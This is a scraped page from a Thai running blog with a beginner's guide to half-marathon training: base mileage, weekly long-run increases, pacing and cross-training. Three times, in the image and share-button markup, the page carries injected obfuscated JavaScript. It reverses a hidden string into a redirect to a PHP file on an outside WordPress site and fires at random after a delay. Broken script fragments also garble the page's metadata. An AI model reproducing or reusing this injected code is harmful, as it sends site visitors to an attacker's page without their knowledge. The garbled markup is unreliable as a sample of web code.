andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andscape-78058_1280.jpg","contentUrl":"https://www.stepextra.com/wp-content/uploads/2015/09/landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andscape-78058_1280.jpg","width":1280,"height":851},{"@type":"WebPage","@id":"https://www.stepextra.com/half-marathon/#webpage","url":"https://www.stepextra.com/half-marathon/","name":"มือใหม่หัดวิ่ง Half marathon","isPartOf":{"@id":"https://www.stepextra.com/#website"},"primaryImageOfPage":{"@id":"https://www.stepextra.com/half-marathon/#primaryimage"},"datePublished":"2015-09-23T05:08:28+00:00","dateModified":"2015-09-23T05:08:28+00:00","author":{"@id":"https://www.stepextra.com/#/schema/person/ffcafb459f9f70b04929f261f4ca30a7"},"description":"ไปดูกัน...วิธีฝึกวิ่งระยะ 21 กิโลเมตรหรือ half marathon สำหรับมือใหม่เขาทำกันอย่างไร","breadcrumb":{"@id":"https://www.stepextra.com/half-marathon/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.stepextra.com/half-marathon/"]}]},{"@type":"BreadcrumbList","@id":"https://www.stepextra.com/half-marathon/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.stepextra.com/"},{"@type":"ListItem","position":2,"name":"มือใหม่หัดวิ่ง Half marathon"}]},{"@type":"Person","@id":"https://www.stepextra.com/#/schema/person/ffcafb459f9f70b04929f261f4ca30a7","name":"stepextra","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.stepextra.com/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/f0b1623be176bc938f40a5174ab898a8?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/f0b1623be176bc938f40a5174ab898a8?s=96&d=mm&r=g","caption":"stepextra"},"url":"https://www.stepextra.com/author/stepextra/"}]}
  • เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

มือใหม่หัดวิ่ง Half marathon

stepextra by stepextra
23 September 2015
in Feature, Running Tips, Tips & Technics
0
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andscape-78058_1280.jpg">
มือใหม่หัดวิ่ง Half marathon
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andscape-78058_1280.jpg&description=%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%AB%E0%B8%B1%E0%B8%94%E0%B8%A7%E0%B8%B4%E0%B9%88%E0%B8%87+Half+marathon" rel='nofollow' class="jeg_btn-pinterest ">

ไปดูกัน…วิธีฝึกวิ่งระยะ 21 กิโลเมตรหรือ half marathon สำหรับมือใหม่เขาทำกันอย่างไร

อย่างแรกเลยคุณสมบัติที่บอกได้ว่า คุณสามารถวิ่งระยะ 21 กิโลเมตรได้คือ มีการฝึกซ้อมวิ่งระยะมากกว่า 5 กิโลเมตรในแต่ละครั้ง หรือผ่านการวิ่งระยะ mini marathon ( 10 กิโลเมตร) แล้ว

การผ่านระยะวิ่งทั้ง 5 และ 10 กิโลเมตร มีส่วนช่วยในเรื่อง Mental strength และเสริมสร้างกล้ามเนื้อ หัวใจและปอดพร้อมที่จะรองรับระยะที่ไกลขึ้นได้อีก เพียงแค่คุณตั้งใจฝึกซ้อมเพิ่มขึ้น รับรองว่าทำได้แน่นอน

แต่ถ้าใครยังมีอาการกลัวว่าตัวเองไม่พร้อมที่จะมีระยะ half marathon อย่าเพิ่งยอมแพ้ การที่เราสามารถวิ่งระยะ 10 กิดลเมตรได้แล้วนั้น ร่างกายและจิตใจเราแกร่งขึ้นมาพอสมควรแล้ว ลองนำเอากลยุทธ์ เดิน วิ่ง และพัก มาประยุกต์ในการวิ่งระยะทางไกล 21 กิโลเมตรครั้งแรกดูได้ครับ

เรามาดู guild line การวิ่งระยะ half marathon กันเลย…

1. พื้นฐานต้องมี คุณต้องมีการฝึกวิ่งอย่างน้อย 3 ครั้งต่อสัปดาห์ ระยะดังที่กล่าวไว้ วิ่งแต่ละครั้งไม่ควรต่ำกว่า 5 กิโลเมตร หรือระยะเวลาที่ใช้วิ่งควรอยู่ที่ 30 นาทีขึ้นไป

2. เพิ่มระยะวิ่งต่อสัปดาห์ประมาณ 2 – 2.4 กิโลเมตร ในการวิ่งแต่ละสัปดาห์เราจะมีการวิ่ง LSD 1 ครั้ง ให้เพิ่มระยะในการวิ่งนี้ อาจจะเดินเร็วหรือวิ่งจังหวะเบาๆ ไปก่อนถ้ายังไม่ไหว ค่อยๆ เพิ่มระยะต่อสัปดาห์ไปเรื่อยๆ จนนครบระยะ 20 – 23 กิโลเมตร และเราควรวิ่งให้ได้ระยะ half marathon อย่างน้อย 2 สัปดาห์ก่อนงานแข่งนะครับ จะได้ลดความเสี่ยงอาการบาดเจ็บลดลง

แต่ถ้าใครวิ่งได้ประมาณ 70% ของระยะ half marathon และจะถึงงานแข่งในอีกไม่กี่วัน แนะนำว่า ให้ลดความเร็วลง บวกเวลาใน pace ของเราไปประมาณ 30 วินาที จะช่วยได้ระดับหนึ่ง และต้องลองฟังเสียงร่างกายเราดูระหว่างงานแข่งว่า รับความเร็วที่จะเพิ่มขึ้นได้หรือป่าว..กลยุทธ์ที่ใช้คือ slow but sure.

3. ใจเย็นๆ วัยรุ่น เข้าใจว่าลงงานวิ่ง half ครั้งแรกและต้องการอยู่ทามกลางเหล่านักวิ่งนั้นมันตื่นเต้น อะดีนาลีนมันสูดฉีดแรงมาก แต่ต้องใจเย็นๆ ครับ เราผ่านระยะวิ่ง 10 กิโลมาไม่กี่ครั้งเอง การออกวิ่งตามคนอื่นหรือปล่อยไปตามใจ มันอันตราย ไม่หมดแรงก็จะไปเจ็บที่ระยะ 10 กิโลเมตร (ผู้เขียนโดนมาแล้ว)

จุดประสงค์ที่ควรตั้งไว้อย่างแรกคือ วิ่งให้ครบระยะ จะวิ่งสลับเดินก็ได้ แต่ต้องครอบระยะ ถัดมาคือ วิ่งให้ช้าลง ลองบวกเวลาเพิ่มลงไปใน pace เราอีกประมาณ 30 – 60 วินาที ให้เราวิ่งรู้สึกสบายและสามารถใช้ความเร็วคงที่ได้

4. บาลานซ์การวิ่งในวันทำงานและวันหยุด แนะนำว่ามือใหม่ไม่ควรใช้เวลาวิ่งซ่อมในวันธรรมดาเกิน 30 นาที และควรมีการฝึก cross training ด้วย ให้ร่างกายได้ใช้กล้ามเนื้อส่วนอื่นๆ บ้าง ไปลงว่ายน้ำ ปั่นจักรยานดูบางก็ได้ และค่อยจัดวิ่ง long run ในวันหยุดเสาร์อาทิตย์ มีหลายๆ คนที่ฝึกหนักในช่วงวันทำงานแต่พอตื่นเช้ามากลายเป็น Zombie เลยครับเพราะพักผ่อนไม่พอ

ก่อนจะจากกัน เรามีตารางฝึกวิ่งมาฝาก ชอบแบบไหนลองใช้ดูนะครับ

half-maarathon-plan3
ระยะทางเป็นไมล์ และมีตารางเเนะนำให้ฝึกทำ cross-training ด้วย
half maarathon plan2
ตารางนี้เเน่นวิ่งอย่างเดียวเลยครับ ระยะทางเป้นกิโลเมตร
half maarathon plan1
ตารางสุดท้ายเป็นวิ่งระยะเป็นไมล์ มีเเนะนำให้ฝึกการยืดเส้นเเละ strength training

 

อ้างอิง
www.halhigdon.com
running.competitor.com
www.marathonrookie.com
www.runnersworld.com
ShareTweetShare
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andscape-78058_1280.jpg&description=%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%AB%E0%B8%B1%E0%B8%94%E0%B8%A7%E0%B8%B4%E0%B9%88%E0%B8%87+Half+marathon" rel='nofollow' class="jeg_btn-pinterest ">
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.